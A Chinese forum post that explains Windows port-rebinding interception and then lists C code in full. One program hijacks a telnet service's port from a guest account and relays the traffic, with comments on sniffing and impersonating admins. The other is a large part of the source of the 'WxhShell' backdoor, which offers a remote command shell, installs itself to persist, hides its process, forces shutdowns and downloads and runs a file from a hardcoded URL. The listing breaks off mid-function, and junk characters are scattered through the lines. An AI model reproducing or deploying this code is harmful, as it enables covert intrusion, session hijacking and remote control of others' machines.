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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: H/k]u)Gtv  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /0!.u[t)~  
cP4C<UG  
  saddr.sin_family = AF_INET; vE1:;%Q  
 w%::~]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); L,!\PV|  
K:% MhH-  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @=2u;$.  
"kC6G%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }gFa9M<  
yE.st9m  
  这意味着什么?意味着可以进行如下的攻击: [P0c,97_ H  
\Ui8gDJ8y5  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 EQk omjv  
}_-tJ.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) -m[ tYp,q  
}2 \Hg  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 CIsX$W  
^hr # 1  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  `Y+ R9bd  
Dx=RLiU9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 .mg0L\  
~C3J-z<  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :4x6dYNU  
E2z=U  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 mM2I  
9V~hz (^  
  #include c<~DYe;;  
  #include 7h2/8YUgQ  
  #include j^v<rCzc (  
  #include    GT80k]e.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   B*E"yB\NV  
  int main() k {vd1,HZ  
  { smn(q)tt  
  WORD wVersionRequested; xls US'Eo  
  DWORD ret; 8|$g"? CU  
  WSADATA wsaData; +2k{y l  
  BOOL val; ~p:hqi1+<+  
  SOCKADDR_IN saddr; |/c-~|%  
  SOCKADDR_IN scaddr; tUW^dGo.  
  int err; A |@d{g  
  SOCKET s; "pcr-?L  
  SOCKET sc; YHke^Ind  
  int caddsize; &~x|w6M]J  
  HANDLE mt; T,Q7 YI  
  DWORD tid;   44w "U%+  
  wVersionRequested = MAKEWORD( 2, 2 ); <g\:By^  
  err = WSAStartup( wVersionRequested, &wsaData ); f_;tFP B  
  if ( err != 0 ) { -UAMHd}4  
  printf("error!WSAStartup failed!\n"); E7.{SGH}  
  return -1; Im};wJ&  
  } BeD>y@ it  
  saddr.sin_family = AF_INET; [#SO}'1n  
   &B1!,joH~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 V?>&9D"m  
{j<?+o5A  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); F9(jx#J~t  
  saddr.sin_port = htons(23); M1k_ldP  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "(~fl<;  
  { n$h+_xN  
  printf("error!socket failed!\n"); \{Je!#  
  return -1; Jy[rA<x$  
  } rTOex]@N  
  val = TRUE; &uV|Ie8@q  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >* F#ZZv}p  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) m(5LXH Jnv  
  { q[Ey!h)xq  
  printf("error!setsockopt failed!\n"); gdh|X[d  
  return -1; t-iQaobF  
  } f'7/Wj  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Nv=%R  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <]#_&Na  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Gg:W%&#  
[iyhrc:@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?VTP|Z  
  { p_fsEY  
  ret=GetLastError(); +(w9! 5?F  
  printf("error!bind failed!\n"); Wh"xt:  
  return -1; >>;He7  
  } OU^I/TU  
  listen(s,2); hu}uc&N)iE  
  while(1) %+;amRb  
  { <iH"5DEe  
  caddsize = sizeof(scaddr); M?n}{0E4  
  //接受连接请求 -:Juxh  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :g-vy9vb  
  if(sc!=INVALID_SOCKET) dWo$5Bls<A  
  { OKj\>3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1pN8,[hyR7  
  if(mt==NULL) a +9_sUq  
  { EIg:@o&Jj  
  printf("Thread Creat Failed!\n"); /"R{1  
  break; Z%SDN"+'g  
  } iRv \:.aQ.  
  } v|jwz.jM  
  CloseHandle(mt); u2U+uD@yA  
  } JxRn)D  
  closesocket(s); 0nR_I^  
  WSACleanup(); =;?Maexp3$  
  return 0; :/fT8KCwo  
  }   ;jlI>;C;V  
  DWORD WINAPI ClientThread(LPVOID lpParam) `{}DLaD9  
  { -9s&OKo`({  
  SOCKET ss = (SOCKET)lpParam; 3YEw7GIO-  
  SOCKET sc; _Pl5?5eZj  
  unsigned char buf[4096]; lXnv(3j3*s  
  SOCKADDR_IN saddr; 1nE`Wmo.2  
  long num; RNcnE1=  
  DWORD val; !4$o*{9Lx:  
  DWORD ret; 7|)K!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 0F &(}`V  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %6:"tuA  
  saddr.sin_family = AF_INET; DM(c :+K-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }. V!|R,  
  saddr.sin_port = htons(23); 3nUC,T%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7q#R,\  
  { dQNW1-s  
  printf("error!socket failed!\n"); 0j' Xi_uM  
  return -1; gy5R"_MU  
  } -}H EV#ev  
  val = 100; o& ?:pE  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) j[fY.>yt&  
  { 9t&m\J >8;  
  ret = GetLastError(); "z{ rC}  
  return -1; r+i=P_p  
  } 4Jw_gOY&D  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >WY\P4)k  
  { (;++a9GK  
  ret = GetLastError(); 73+)> "x>  
  return -1; v)v`896S`  
  } C4eQ.ep  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) a0&R! E;  
  { l-6W]\v Z  
  printf("error!socket connect failed!\n"); L:UPS&)  
  closesocket(sc); 5VE9DTE  
  closesocket(ss); f;,^ ]mw  
  return -1; \U HI%1^  
  } %9T|"\  
  while(1) 9Pdol!  
  { V<t!gT#&o!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  TsI%M  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +J2;6t  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 PW"uPn  
  num = recv(ss,buf,4096,0); j\uPOn8k  
  if(num>0) [d6TwKv  
  send(sc,buf,num,0); `& ]H`KNa  
  else if(num==0) DG 6W ^  
  break; *|3G"B{w6  
  num = recv(sc,buf,4096,0); `it  
  if(num>0) G@1T!`  
  send(ss,buf,num,0); N7dI}ju  
  else if(num==0) E:$r" oS  
  break; l1" *  
  } b|u0a6  
  closesocket(ss); @-aMj  
  closesocket(sc); $6*6%T5}  
  return 0 ; f^@D uI  
  } !mu1e=bY>  
w72\'  
^:^8M4:  
========================================================== )L$)qfQ~x  
?;CMsO*q  
下边附上一个代码,,WXhSHELL pLsWy&G  
-zH` 9>J5|  
========================================================== *ZV=4[#bT  
GvT ~zNd  
#include "stdafx.h" M I R))j;  
>1NE6T  
#include <stdio.h> E)Cdw%}^  
#include <string.h> K&TO8   
#include <windows.h> ]"VxEpqhM  
#include <winsock2.h> 'zfj`aqc  
#include <winsvc.h> :Wd@Qy?;  
#include <urlmon.h> #0 eop>O  
+YCKd3/  
#pragma comment (lib, "Ws2_32.lib") ,2`FSL%J  
#pragma comment (lib, "urlmon.lib") 50NLguE  
&4jc3_UKV  
#define MAX_USER   100 // 最大客户端连接数 b' fcWp0  
#define BUF_SOCK   200 // sock buffer uN9J?j*ir  
#define KEY_BUFF   255 // 输入 buffer O <"\G!y~  
Ae_:Kc6  
#define REBOOT     0   // 重启 {*AYhZ  
#define SHUTDOWN   1   // 关机 3 cF4xUIZ  
{# Vp`ji  
#define DEF_PORT   5000 // 监听端口 zF#:Uc`C5U  
l1ViUY&Z  
#define REG_LEN     16   // 注册表键长度 V D.T=(  
#define SVC_LEN     80   // NT服务名长度 7s}E q~  
N 2$uw@s  
// 从dll定义API NRDXWscb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^/DP%^D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,HtX D~N  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $`6Q\=*R/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -5d^n\CDK  
v)%0`%nSR  
// wxhshell配置信息 tlpTq\;  
struct WSCFG { ,V.Bzf%=O  
  int ws_port;         // 监听端口 {&0u:  
  char ws_passstr[REG_LEN]; // 口令 ] Wx?k7T  
  int ws_autoins;       // 安装标记, 1=yes 0=no \,-e>  
  char ws_regname[REG_LEN]; // 注册表键名 #-8%g{  
  char ws_svcname[REG_LEN]; // 服务名 tM3Q;8gB!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sz+%4T  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cE+Y#jB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 87yZd8+)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <7Ry"z6g;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZXC_kmBN/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D&!c7_^  
';KWHk8C  
}; yGvBQ2kYb  
J *;= f8  
// default Wxhshell configuration pI1IDu*_Z  
struct WSCFG wscfg={DEF_PORT, ^:Fj+d  
    "xuhuanlingzhe", FG)(,?q  
    1, ,C}s8|@k  
    "Wxhshell", )8*}-z  
    "Wxhshell", k\KI#.>  
            "WxhShell Service", kV@?Oj.&I,  
    "Wrsky Windows CmdShell Service", ^50\c$  
    "Please Input Your Password: ", DAf0bh"  
  1, O 4'/C]B 2  
  "http://www.wrsky.com/wxhshell.exe", g+3_ $qIQ+  
  "Wxhshell.exe" aI_[h v  
    }; =2e{T J/  
!4+ FN)  
// 消息定义模块 UT_kw}1o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dQ=L<{(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7\[)5j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l- $5CO  
char *msg_ws_ext="\n\rExit."; qFN`pe,  
char *msg_ws_end="\n\rQuit."; aW_Pv~  
char *msg_ws_boot="\n\rReboot..."; 9xaieR  
char *msg_ws_poff="\n\rShutdown...";  xq&r|el  
char *msg_ws_down="\n\rSave to "; TGHyBPJb  
ag6[Nk  
char *msg_ws_err="\n\rErr!"; Hq#q4Y  
char *msg_ws_ok="\n\rOK!"; <RuLIu  
5Zn:$?7  
char ExeFile[MAX_PATH]; <FfmDR  
int nUser = 0; |J$ Bj?  
HANDLE handles[MAX_USER]; =HjC.h  
int OsIsNt; Tly*i"[&  
6'Q*SO;1gh  
SERVICE_STATUS       serviceStatus; W/<Lp+p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c!N#nt_<  
)zkr[;j~`  
// 函数声明 W:hTRq  
int Install(void); ( 'Ha$O72  
int Uninstall(void); iLQ;`/j  
int DownloadFile(char *sURL, SOCKET wsh); 2=7:6Fw  
int Boot(int flag); |f1RhB  
void HideProc(void); yVWt%o/  
int GetOsVer(void); (L`IL e*  
int Wxhshell(SOCKET wsl); %xA-j]%?ep  
void TalkWithClient(void *cs); %E[ $np>  
int CmdShell(SOCKET sock); !uP8powO  
int StartFromService(void); ce:wF#Qs  
int StartWxhshell(LPSTR lpCmdLine); 2=,d.1E3d  
'EC0|IT)c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); VFq7nV/O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (-xVW#39  
e5(c,,/  
// 数据结构和表定义 W&HxMi  
SERVICE_TABLE_ENTRY DispatchTable[] = =R*IOJ  
{ 0{/'[o7  
{wscfg.ws_svcname, NTServiceMain}, hPuF:iiQ4  
{NULL, NULL} Ld 0j!II(  
}; hqa6aYY x  
NR"C@3kD]o  
// 自我安装 -$I$zo  
int Install(void) !LCy:>i!d  
{ k ~4o`eA  
  char svExeFile[MAX_PATH]; ~5>TMIDiuR  
  HKEY key; 2 ,krVb?<  
  strcpy(svExeFile,ExeFile); *0m|`- T  
c3WF!~1r  
// 如果是win9x系统,修改注册表设为自启动 N{<5)L~Y  
if(!OsIsNt) { oJ|m/i)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w$j6!z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SNf~%B?`L  
  RegCloseKey(key); 58R.`5B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +_jM$?:F}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8! /ue.T  
  RegCloseKey(key); 4{G>T  
  return 0; V P(JV  
    } Ym6v4k!@O  
  } `|mV~F|  
} ,+X:#$  
else { bK{ VjXF  
I8|"h8\  
// 如果是NT以上系统,安装为系统服务 JW"`i   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )1 QOA  
if (schSCManager!=0) b5? kgY  
{ :w)9 (5  
  SC_HANDLE schService = CreateService ~du U& \  
  ( OTNI@jQ)  
  schSCManager, v^ v \6uEP  
  wscfg.ws_svcname, j%}9tM6[  
  wscfg.ws_svcdisp, "~KTLf  
  SERVICE_ALL_ACCESS, OGO\u#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PEaZ3{-  
  SERVICE_AUTO_START, <U8w#dc  
  SERVICE_ERROR_NORMAL, 40z1Qkmaey  
  svExeFile, 'T7Y5X80$j  
  NULL, bfYVA2=Z  
  NULL, ca5;Z@t$S  
  NULL, b1G6'~U-  
  NULL, qyh]v[  
  NULL 8"p rWAN  
  ); ?}= $zN  
  if (schService!=0) 1=e(g#Ajn\  
  { ?y__ Vrw  
  CloseServiceHandle(schService); Mb45UG#2  
  CloseServiceHandle(schSCManager); C0 /G1\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^/#8 "  
  strcat(svExeFile,wscfg.ws_svcname); 43<i3O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wWSE[S$V  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #K iqV6E  
  RegCloseKey(key); J|@D @\?7  
  return 0; S~&9DQNj  
    } >/NegJh'F}  
  } `cIeqp  
  CloseServiceHandle(schSCManager); "z= ~7g  
} r;E5e]w*-  
} }J2f$l>R  
-Owb@Nw  
return 1; {xOzxLB;  
} t< RPDQ>  
="P FCxi  
// 自我卸载 l.Z+.<@  
int Uninstall(void) y,@yaM}-/K  
{ `tcX[(`  
  HKEY key; ?^LG>GgV  
~QUN O~  
if(!OsIsNt) { L$@+'Qn@:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g>`D!n::n  
  RegDeleteValue(key,wscfg.ws_regname); 8i<]$  
  RegCloseKey(key); ; 7QG]JX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D9hq$?  
  RegDeleteValue(key,wscfg.ws_regname); ~=<uYv?0s  
  RegCloseKey(key); |cC&,8O:{  
  return 0; <7zz"R  
  } 6&L;Sw#Dg  
} Zv?"1Y< L  
} w'7J`n: {]  
else { K4I/a#S'@6  
J4 U]_|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @W~aoq6  
if (schSCManager!=0) 8o.|P8%  
{ V 'fri/Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D=Yr/qc?  
  if (schService!=0) g_?Q3  
  { -.L )\  
  if(DeleteService(schService)!=0) { Eb CK9  
  CloseServiceHandle(schService); _::ssnG3jT  
  CloseServiceHandle(schSCManager); 7{9M ^.}  
  return 0; XN{zl*`  
  } tCA0H\';  
  CloseServiceHandle(schService); Lf%}\0:  
  } 4$U^)\06W  
  CloseServiceHandle(schSCManager); %c%`< y<~L  
} kpNp}b8']  
} @2hOy@V  
'q RQO(9&m  
return 1; O`aNNy  
} 8U7d d[  
nwqA\  
// 从指定url下载文件 bf2r8   
int DownloadFile(char *sURL, SOCKET wsh) u g;~dhe~  
{ "" _B3'  
  HRESULT hr; \+0l#t$  
char seps[]= "/"; *O\lR-z!k  
char *token; rp2g./2  
char *file; -lAY*2Jg  
char myURL[MAX_PATH]; nHp(,'R/  
char myFILE[MAX_PATH]; xO,;4uE  
c~OvoTF,  
strcpy(myURL,sURL); L {&=SR.  
  token=strtok(myURL,seps); @O-\s q  
  while(token!=NULL) b)E<b{'W  
  { [F(iV[n%  
    file=token; 6':Egh[;  
  token=strtok(NULL,seps); 'C#[iRG4  
  } UnEgsf N  
` K0PLxSv  
GetCurrentDirectory(MAX_PATH,myFILE); /Nob S'd  
strcat(myFILE, "\\"); f/4DFs{  
strcat(myFILE, file); F~bDg tN3  
  send(wsh,myFILE,strlen(myFILE),0); PAxR?2m{  
send(wsh,"...",3,0); ^62I 5k/u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %Nob B  
  if(hr==S_OK) W/CZ/Mc  
return 0; Iek ] /=  
else 3TS:H1n  
return 1; =qL^#h83y  
8F's9c,  
} jpTk@  
?1] \3nj  
// 系统电源模块 ~ t N/  
int Boot(int flag) u]ps-R_$G  
{ @L0)k^:  
  HANDLE hToken; gFfKK`)}D'  
  TOKEN_PRIVILEGES tkp; 02T'B&&~  
J |UFuD  
  if(OsIsNt) { wwJs_f\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v$5D&Tv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J(= y$8xje  
    tkp.PrivilegeCount = 1; t)~$p#NS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H\9ePo\b~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); crSqbL  
if(flag==REBOOT) { 9|OOT[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )p:+!sX(  
  return 0; )V*`(dn'zm  
} ^gR~~t;@  
else { sb?!U"v.'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }_@p`>|)rB  
  return 0; I{.t-3hp  
} yT='V1  
  } W ,v0~  
  else { E0DquVrz  
if(flag==REBOOT) { iU3PlF[B/o  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V-X Ty iv  
  return 0; kVG+Wr7l0F  
} >xsY"N&1i'  
else { %,aSD#l`f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wL6G&6]</W  
  return 0; ua_,c\iL  
} [6/8O  
} j7NOYm5N  
1Y~'U =9  
return 1; IMzt1l =7  
} cjd-B:l  
6k<3,`VV|  
// win9x进程隐藏模块 78?cCj{e  
void HideProc(void) A6   
{ <yvo<R^30  
CUBL/U\=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h,b_8g{!  
  if ( hKernel != NULL ) NJOV!\k  
  { &4l!2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ((^v sKT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !0):g/2h  
    FreeLibrary(hKernel); wnQi5P+  
  } ?MFXZ/3(ba  
PGVP0H+RV  
return; 'GO *6$/  
} .SOCWznb  
T]b&[?p|a[  
// 获取操作系统版本 n0%S: (  
int GetOsVer(void) yD8Qy+6L  
{ 8p1:dTI5Pb  
  OSVERSIONINFO winfo; ,JPDPI/a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'A1y~x#2B  
  GetVersionEx(&winfo); {Hv kn{{'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G%h+KTw  
  return 1; &?}h)U#:  
  else L},o;p:  
  return 0; %+UTs'I  
} (IA:4E}  
.t{uzDM  
// 客户端句柄模块 &b2@+/ F  
int Wxhshell(SOCKET wsl) s= z$;1C  
{ l}#d^S/  
  SOCKET wsh; #sbW^Q'I  
  struct sockaddr_in client; H$ :BJ$x@  
  DWORD myID; XSx'@ qH  
kY'C'9p  
  while(nUser<MAX_USER) M.C`nI4  
{ %uo#<Ny/ I  
  int nSize=sizeof(client); DLe>EU;vS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <UGM/+aO  
  if(wsh==INVALID_SOCKET) return 1; D(e,R9hPU  
eQqCRXx  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .PuxF  
if(handles[nUser]==0) 6r[pOl:  
  closesocket(wsh); ?;w\CS^Qu  
else Z1 (!syg  
  nUser++; \fYPz }wt  
  } UyF;sw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); IQmlmu  
$ylxl"Y  
  return 0; PX?^v8wlqL  
} ";n%^I}  
'p%w_VbI  
// 关闭 socket /u"Iq8QA  
void CloseIt(SOCKET wsh) 1D~B\=LL}  
{ G2:.8 ok  
closesocket(wsh); nGTqW/k[+s  
nUser--; 0zA:?}  
ExitThread(0); C"k]U[%{  
} NpGz y`&b  
|Y2n6gkH[  
// 客户端请求句柄 1Va@w  
void TalkWithClient(void *cs) x LK,Je  
{ a3He-76  
=v{ R(IX%  
  SOCKET wsh=(SOCKET)cs; =knBwjeD  
  char pwd[SVC_LEN]; UK[+I]I p  
  char cmd[KEY_BUFF]; F-Ku0z]){?  
char chr[1]; 4@M}5WJ7  
int i,j; :a( Oc'T  
1}CJ&  
  while (nUser < MAX_USER) { Ti#x62X{  
j?! /#'  
if(wscfg.ws_passstr) { ;$4: &T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )_Iu7b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j~hvPlho  
  //ZeroMemory(pwd,KEY_BUFF); OoZv\"}!_  
      i=0; U8zs=tA  
  while(i<SVC_LEN) { 6%&w\<(SG  
',6d0>4 *  
  // 设置超时 1_G+sDw$  
  fd_set FdRead; \F7NuG:m,  
  struct timeval TimeOut; :~,V+2e  
  FD_ZERO(&FdRead); }jNVR#D:  
  FD_SET(wsh,&FdRead); 3E8 Gh>J_  
  TimeOut.tv_sec=8; yJ8_<A  
  TimeOut.tv_usec=0; 2]tW&y_i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e&9v`8}   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z_Pq5  
>5Sm.7}R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cvV8 ;  
  pwd=chr[0]; 3X1 U  
  if(chr[0]==0xd || chr[0]==0xa) { asYUb&Hz88  
  pwd=0; ~A*$+c(  
  break; @8SA^u0  
  } qwd T= H  
  i++; t y%Hrw  
    } : )k|Onz  
}wGy#!CSza  
  // 如果是非法用户,关闭 socket l_T5KV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qK&h$;~*y  
} j<A; i  
U+@rLQ.-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8oP"?ew#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~fz9PoC  
K- TLzoYA  
while(1) { eXtlqU$  
+`.,6TNVlY  
  ZeroMemory(cmd,KEY_BUFF); XJ?zP=UK  
&t74T"(d  
      // 自动支持客户端 telnet标准   G5$YXNV  
  j=0; ? UBE0C  
  while(j<KEY_BUFF) { 0C0ld!>r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y~rtYI  
  cmd[j]=chr[0]; ztV%W6  
  if(chr[0]==0xa || chr[0]==0xd) { H`jvT]  
  cmd[j]=0; ^W[3Ri G  
  break; OJ)XJL  
  } ]hY4 MS  
  j++; F6 f  
    } }9Awv#+  
h%U,g 9_  
  // 下载文件 B..> *Xb  
  if(strstr(cmd,"http://")) { ":01M},RA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5Fa/Q>N  
  if(DownloadFile(cmd,wsh)) WVh]<?GWXk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mUwGr_)wj  
  else O[HBw~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^xF-IA#ZeB  
  } G8OnNI  
  else { r%` |kN  
6Zq7O\  
    switch(cmd[0]) { 4Kn)5>  
  8,?*eYNjb  
  // 帮助 5`1p ?  
  case '?': { wWB^m@:4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $WZHkV  
    break; -|/*S]6kK  
  } ]0myoWpi3  
  // 安装 BPC>  
  case 'i': { ZNY), 3?  
    if(Install()) ?YhGW   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mt(;7q@1c  
    else ci{WyIh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G'6f6i|<I@  
    break; ^%m~VLH  
    } "o$)z'q  
  // 卸载 0tP{K  
  case 'r': { j9$kaEf  
    if(Uninstall()) 420yaw/":  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +cx(Q(HD\  
    else ]YwvwmZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "AHuq%j  
    break; ? -`8w _3  
    } M0"}>`1lJ  
  // 显示 wxhshell 所在路径 ]gB:ht  
  case 'p': { 9l:vVp7Uk  
    char svExeFile[MAX_PATH]; rZG6}<Hx  
    strcpy(svExeFile,"\n\r"); 2"L a}Vx2  
      strcat(svExeFile,ExeFile); <5sP%Fs)  
        send(wsh,svExeFile,strlen(svExeFile),0); teg[l-R"7z  
    break; ~`o%Y"p%rv  
    } G0pqiU6  
  // 重启 dZ'H'm;,!  
  case 'b': { ;&]oV`Ib  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); WOuk> /  
    if(Boot(REBOOT)) 5D`!Tu3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3"iJ/Hc}9  
    else { 55vI^SSA  
    closesocket(wsh); (j884bu  
    ExitThread(0); h&:6S  
    } ~M LBO  
    break; K.::P84m;  
    } #]FJx  
  // 关机 ~X%W2N2  
  case 'd': { zc%HBZ3p  
